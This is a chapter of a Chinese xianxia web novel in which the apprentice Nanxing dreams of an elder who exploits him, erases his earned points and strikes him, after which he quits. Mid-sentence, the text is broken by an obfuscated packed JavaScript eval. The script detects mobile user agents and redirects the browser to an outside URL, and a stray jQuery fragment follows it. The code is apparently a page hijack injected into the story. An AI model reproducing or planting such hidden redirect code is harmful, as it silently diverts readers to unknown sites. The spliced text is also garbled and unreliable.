32. 噩梦

作品:《我要毕业

    南星已经很久没做这么完整的梦了,许是白日听了师父东一扯西一扯的杂谈,又或是好久没有这般轻松,竟在夜里梦起以前的事来。


    梦境里,他比现在要年轻一些,虽少年老成,但毕竟是个没经历过多少事的年轻弟子,因此被师父带着去青州的朱明学宫时,他的眼里还是一直抑制不住的对陌生环境和陌生人的好奇。


    青州地处南方,气候远比西边的梁州炎热许多。即便已入秋多时,空气中仍弥漫着挥之不去的燥热。朱明学宫作为青州上院,其规模之宏大、建筑之华美、设施之精良,都远非玄庚学宫可比。


    梦境中,他随师父拖着大包小包的行囊,被引进一间宽敞的炼器室。


    师徒二人拘谨地在炼器室内站了片刻后,一位身着墨色笔挺长袍的中年男子推门而入。那人生得一双小眼睛,发髻梳得一丝不苟,面容看着也比师父年长些,通身气度疏离威严。


    “这是你郑师伯。”师父低声提醒。


    南星忐忑地见了个礼。师父在来之前就告诉过他,师伯郑笼是朱明学宫器修一脉极有威望的长老,接下来这一年多,自己将会在这位郑师伯的座下研习炼器之道。


    梦境如走马灯般转换,前一刻还是初见时的寒暄,转眼便跳到了另一个场景。


    只见他自己正满头大汗地在一鼎颇有些年头的四品炼器炉前操纵炉火。不远处,师父贺云奎与新认的师伯郑笼并肩而立,低声交谈着什么。


    “你这弟子看着还不错,炼器的基础还挺扎实,用的是快要淘汰的四品炼器炉,看这样子大概率能炼制出三品以上的灵器,这天赋在同龄人里算是不错的了。”


    贺云奎详细地介绍起这门下唯一弟子:“这孩子家里是开铁匠铺的,从小痴迷炼器,好不容易考进玄庚学宫前十名,拜了个德高望重的器修长老......”


    “等等,他的师父不是你吗?”郑笼打断道。


    贺云奎摇头叹气道:“原先并不是,只是前不久那长老于睡梦中驾鹤西去了。你也知道,玄庚学宫这些年器修一脉不太振作,这孩子又一门心思非要继续当器修,掌院无奈之下这才把他转到我这里来。但我的情况您也知道,这不,只能厚着脸皮来求师兄您了。”


    郑笼闻言看着贺云奎落魄的模样,昔日的天之骄子也会沦落到这一步,他心里有种隐秘的快感,像是把曾经那个只能望其项背的人踩在脚下的志得意满。


    他看似大度实则炫耀道:“既然师弟你都这么说了,师兄我自然不能拒绝。你这弟子既然是铁匠出身,基础相对比较扎实,刚好师兄我呢,最近刚从任务堂接受了几个炼器任务,可以让他参与进来。”


    贺云奎连连道谢,而后将身上背着的大包小包解下来递到郑笼面前:“这是我这些年收集的材料,今后我这边......也用不上了,南星既然还要在师兄你这里待两年,这些东西就当是我们的一点谢礼吧。”


    郑笼瞥了眼包裹里的东西,那些材料虽然不算珍惜,但有些也并不容易获得,看得出来拿出了诚意。若是当年彼此都还是弟子的时候,对方拿出这么多材料,郑笼自然是欣喜若狂。


    只不过,现在的已经身居高位的他自然看不上这些东西,不过不收白不收。他假模假样道:“跟我你还客气什么。话说当年,若不是因为......凭借你的天赋,说不定师兄我啊,还得求你提携提携。只不过造化弄人,偏偏我们师兄弟几个都受到的影响比较小,唯独你......哎,你说说看这事整的。”


    贺云奎勉强笑了笑,低声说了句:“没事,我已经认命了。”


    说罢,他便不愿对此再多说,话头又转到此行的目的上:“郑师兄,南星我就托付给你了,我只有一个请求。”


    “说吧。”


    “不论你让他参加哪些任务或者项目,至少保证他可以达到毕业要求的最低积分。我希望无论如何,最差也不要耽误他毕业出师,这是我唯一的请求。”


    郑笼心中冷笑,这人还是一如既往。自己都泥菩萨过江了,还想着拯救别人,倒显得旁人面目可憎。他没正面作答,只给了个模棱两可的答案:“我会酌情安排。还有别的事么?”


    贺云奎望着兴冲冲捧来炼器成品的弟子,压低声音道:“南星性子耿直,办事也稳重。若真有什么地方做的不好,你直言便是......但莫要苛责于他。”


    “他独自一人......来这么远的地方......”最后几个字轻得几不可闻。


    梦境中,这缕话音渐渐飘散。睡梦中的南星眼角滑落一滴晶莹的泪珠,旋即没入鬓角。


    记忆的碎片再次翻涌,接着重组出那个自归来后便反复纠缠他的梦魇——


    “太好了南星!咱们上个任务炼的灵器成了,是六品!”一个年轻男子激动地抓住南星的肩膀摇晃,“加上这波积分,我准能赶上仙院大比!”


    一向内敛沉稳的南星闻言也难得眉眼舒展。


    在朱明学宫接近一年多的时间,起初师伯郑笼压根不拿正眼瞧他,后来发现他做事踏实勤快,就让他参与了越来越多的任务。可日子久了,南星发现蹊跷。


    自己干着最苦最累最多的任务,却永远分配着最少的积分。念及这是师父舍下脸面求来的机会,南星闷头吃下了这个哑巴亏。


    但眼看着毕业积分迟迟攒不够,南星心里也着急,但却习惯报喜不报忧。


    好在上个项目顺利完成,他作为唯二的参与者之一,怎么也能分到一笔不少的积分。其实自展露锋芒那日起,他就清楚师伯郑笼绝不会让他有机会参加仙院大比。不过无妨,只要能攒够毕业要求的最低积分,他就已经很满意了。


    “今年仙院大比的人选出来了,名单在桌上,想看的自己去前面拿。”门口有人撂下话便走了。


    南星本是不打算去看的,毕竟别说他这积分去不了仙院大比,就算能去,那名单是朱明学宫的,但他名义上还是玄庚学宫的弟子,他去凑这个热闹感觉怪怪的。


    但架不住他旁边的人实在热情,硬是拉着他一起挤了进去。


    南星只好无奈地随手拿起一张名单扫了一眼。然而当他的目光扫过名单上几个眼熟的人名,尤其是这些人名对应的积分时,他的眉头骤然拧紧,这分数......!


    梦境陡然转换。


    南星攥着一沓名单闯进一间书房,强压怒火,用尽毕生修养才没把那一沓名单扔在眼前之人的身上。


    郑笼皱眉不悦道:“谁准你不通传就进来的?”


    南星将那叠名单推到他面前:“弟子有急事相商,还望师伯见谅。这是今年选拔参加仙院大比的名单,请您过目。”


    他指着名单上的几个名字,正是郑笼师门下与他同届的几个弟子,手指移到他们对应的积分,稳住语气道:“这是他们的积分,算上之前的项目以及刚刚结束的六品灵器项目,他们的积分加起来刚好是项目总积分。我想问,作为主要有参与者之一,我为什么一分没有?”


    南星敢如此笃定,是因为他知道郑笼严禁门下弟子私自接取任务堂的任务,而是强制要求所有弟子参与他在任务堂揽下的大型官派任务。


    这种情况其实比较常见,尤其对于符修、丹修和器修这种辅助类门派。因为只有这样做,长老们才能也拿到积分。


    没错,除了弟子,长老们也需要积分。只不过弟子赚取积分是为了毕业,长老们赚取积分则是为了评道阶,升职衔。当然,这两者并不存在竞争关系。


    因为首先,任务堂的绝大部分任务明确规定只针对学宫弟子发放,即只有弟子可以拿到积分。只有很少一部分任务才是长老与弟子可共同参与的,这种一般是由朝廷或修真大派发布的定制任务。


    而共同参与的任务则明确规定,长老们最多只能获得任务总积分的一成,剩下九成的积分则由长老按劳分配给参与任务的弟子。因此在这个过程中弟子积分和长老积分是分开计算的,并不冲突。


    因此,有些长老禁止弟子们自己去任务堂接任务,毕竟那些任务的积分只是弟子自己的,长老一点也得不到。而逼他们做长老自己接的人物,便可以既不必亲自动手,还能白赚积分。


    而郑笼就是这种长老。


    对此,南星虽然心里有些不是很舒服,但毕竟寄人篱下,就得按照人家的规矩来。因此他在朱明学宫的这接近一年多的时间里一直兢兢业业,任劳任怨。即便郑笼有时故意给他少分配积分,他也都忍了下来。


    可这次,当他看到仙院大比名单上那几个弟子的积分时,他突然意识到不对。截止统计前,他们凭空多出的积分,恰好是上次任务总分的九成。这意味着,作为唯二的核心炼器师,他竟被明目


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970922|172042||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    张胆地抹去了全部功劳。


    郑笼扫了一眼南星放在桌子上的名单,没有拿起来看,咳嗽了一声,用下巴示意道:“你先坐。”


    南星脸色难看:“不必,弟子站着就好。”


    见他坚持,郑笼也不勉强,扯了扯领口,随意拿过旁边的一些杂物盖住那叠名单:“师伯也知道,你呢,是个各方面都不错的弟子。只是,我们朱明学宫人才济济,竞争压力特别大,尤其是要参加仙院大比的弟子,老夫总得为本门内弟子考虑考虑。这个项目的积分呢,师伯这次就没算上你。不过,你的努力师伯都看在眼里,下一个项目的积分肯定会考虑到你。”


    这次的事确实是郑笼做的不厚道,直接抹杀了南星在这个项目里的功劳。但他也有自己的考虑,若是把积分分给南星,他就恰好能够达到毕业要求的积分,到时候谁来给他干活。


    郑笼想的很好,打算画个大饼先稳住他,用积分在前面吊着,他就能接着给自己干活了。


    南星算是看透了,都已经这个时候了,他这个所谓的师伯还在这画大饼。他嫌恶地将脸扭向一边,不愿看他的丑恶嘴脸:“您优先为自己门下的弟子考虑,我能理解。但我今年也要毕业,过往的项目积分的事暂且不论,之后的再说,但这次项目积分该是我的就应该给我。您之前也是答应过我师父的。”


    “我答应什么了?”郑笼突然变脸,矢口否认,“我说过一定要让你参加仙院大比的事了?还是说我答应过一定会给你分积分?”


    见南星欲言,郑笼开口打断:“我当时也只是同意你师父把你送过来而已,又没说别的。至于你师父要是跟你说过什么,那也是你师父的事情,你找我做什么,对吧?”


    南星看着郑笼这副虚伪无耻的模样,他一直都知道这个师伯不是什么正直公平的好师长。今日才发现不仅不配为师,甚至不配称作人。曾经看起来慈眉善目,不过是因为跟他没有利益纠葛,一旦掌握了名为毕业的筹码,自然态度立马转变为强势。


    自己越是退让,他越是得寸进尺。越是忍气吞声,他越是嚣张跋扈。以为委曲求全能换来想换来良心发现,结果发现换来变本加厉地欺凌。


    被南星这样凝视,郑笼目光闪躲了一下,知道不能把人往死路上逼,于是话头一转,安抚道:“当然你的努力和付出我也是看在眼里的,但是别急,我也没说不给你积分,只是说下次。其实仙院大比也不是唯一的机会,你好好给我做项目,到时候一样不会亏待了你。你师父当年也算少年天才,早早的出了风头,现在不也就那样吗,对吧。”


    郑笼这手“打一巴掌给个甜枣”的功夫,早已练得炉火纯青。自觉敲打得差不多了,他最后又往南星肩上压了块无形的巨石:“你啊,专心干活就是,积分的事我自有计较,你就别再想这些乱七八糟的了。”


    说罢摆摆手,像赶苍蝇似的:“去吧。”


    看完刚刚郑笼那一番虚伪至极的表演,南星失望的摇摇头:“我从来都没想过一定要去仙院大比,我只是想拿到我该得的东西。”


    见南星没顺着他的说,郑笼难羞成怒地顺手抄起手边的一卷竹简朝着南星的头砸去,指着他鼻子,破口大骂道:“什么叫做你该得的?这个项目哪个不是我接回来的。积分我想给谁多少就给谁多少,你算个什么东西,还轮得到你有意见。没有我,你不过是个垃圾学宫里连个炼器炉都摸不着的穷酸弟子。区区一个贱铁匠出身,走了泼天大运来到我门下,就该知足,让你做什么就做什么,否则小心我让你永远都毕不了业!”


    南星额角被飞来的竹简砸破一块皮,立马红肿了起来。郑笼的怒喝声越说越大,门外原本路过的脚步声齐齐顿住,叽叽喳喳的谈笑声也戛然而止。


    书房内一片寂静,只余郑笼粗重的喘息声。


    南星沉默须臾,而后挺直腰板,不卑不亢,一字一句铿锵有力道:“我从未觉得玄庚学宫是垃圾学宫,更不以自己是铁匠的儿子为耻。我喜欢炼器,纯粹的喜欢炼器本身。积分是我认为我付出,我该得的。既然您觉得我不配在此,那这朱明学宫我不留也罢。”


    说罢不再看郑笼的脸色到底有多难看,转身拉开竹门一步都不停留地走了出去。


    伴随着门“啪”地就是一声响,梦境也逐渐支离破碎,南星缓缓睁开酸涩的双眼,外面天光已经大亮。